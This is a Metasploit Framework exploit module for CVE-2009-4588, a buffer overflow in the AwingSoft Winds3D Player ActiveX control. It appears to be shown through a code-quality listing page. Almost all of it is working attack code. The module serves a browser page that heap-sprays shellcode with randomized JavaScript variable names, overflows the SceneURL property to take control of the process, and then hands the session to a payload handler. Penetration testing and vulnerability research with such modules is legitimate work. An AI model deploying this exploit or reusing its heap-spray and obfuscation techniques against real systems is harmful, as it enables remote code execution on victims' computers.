rapid7/metasploit-framework

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modules/exploits/windows/browser/awingsoft_web3d_bof.rb

Summary

Maintainability
A
2 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# awingsoft_web3d_bof.rb
#
# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
#  - Internet Explorer 6, Windows XP SP2
#  - Internet Explorer 7, Windows XP SP3
#
# WindsPly.ocx versions tested:
#  - 3.0.0.5
#  - 3.5.0.0
#  - 3.6.0.0 (beta)
#
# Trancer
# http://www.rec-sec.com
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AwingSoft Winds3D Player SceneURL Buffer Overflow',
      'Description'    => %q{
          This module exploits a data segment buffer overflow within Winds3D Viewer of
        AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of
        AwingSoft Web3D Player.
        By setting an overly long value to the 'SceneURL' property, an attacker can
        overrun a buffer and execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'shinnai <shinnai[at]autistici.org>',    # Original exploit [see References]
          'Trancer <mtrancer[at]gmail.com>',          # Metasploit implementation
          'jduck'
        ],
      'References'     =>
        [
          [ 'CVE', '2009-4588' ],
          [ 'OSVDB', '60017' ],
          [ 'EDB', '9116' ],
          [ 'URL', 'http://www.rec-sec.com/2009/07/28/awingsoft-web3d-buffer-overflow/' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # data segment size: 76180
          # crasher offsets: 2640, 2712, 8984, 68420, 68424
          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8984 } ]
        ],
      'DisclosureDate' => '2009-07-10',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops       = Rex::Text.to_unescape([target.ret].pack('V'))
    ret        = Rex::Text.uri_encode([target.ret].pack('V'))
    blocksize = 0x40000
    fillto    = 500
    offset       = target['Offset']

    # Randomize the javascript variable names
    winds3d      = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_ret        = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)

    # we must leave the page, so we use http-equiv and javascript refresh methods
    html = %Q|<html>
<head><meta http-equiv="refresh" content="1;URL=#{get_resource}"></head>
<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret} = unescape('#{ret}');
while (#{j_ret}.length <= #{offset}) { #{j_ret} = #{j_ret} + unescape('#{ret}'); }
#{winds3d}.SceneURL = #{j_ret};
setTimeout('window.location = "#{get_resource}";', 500);
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end
end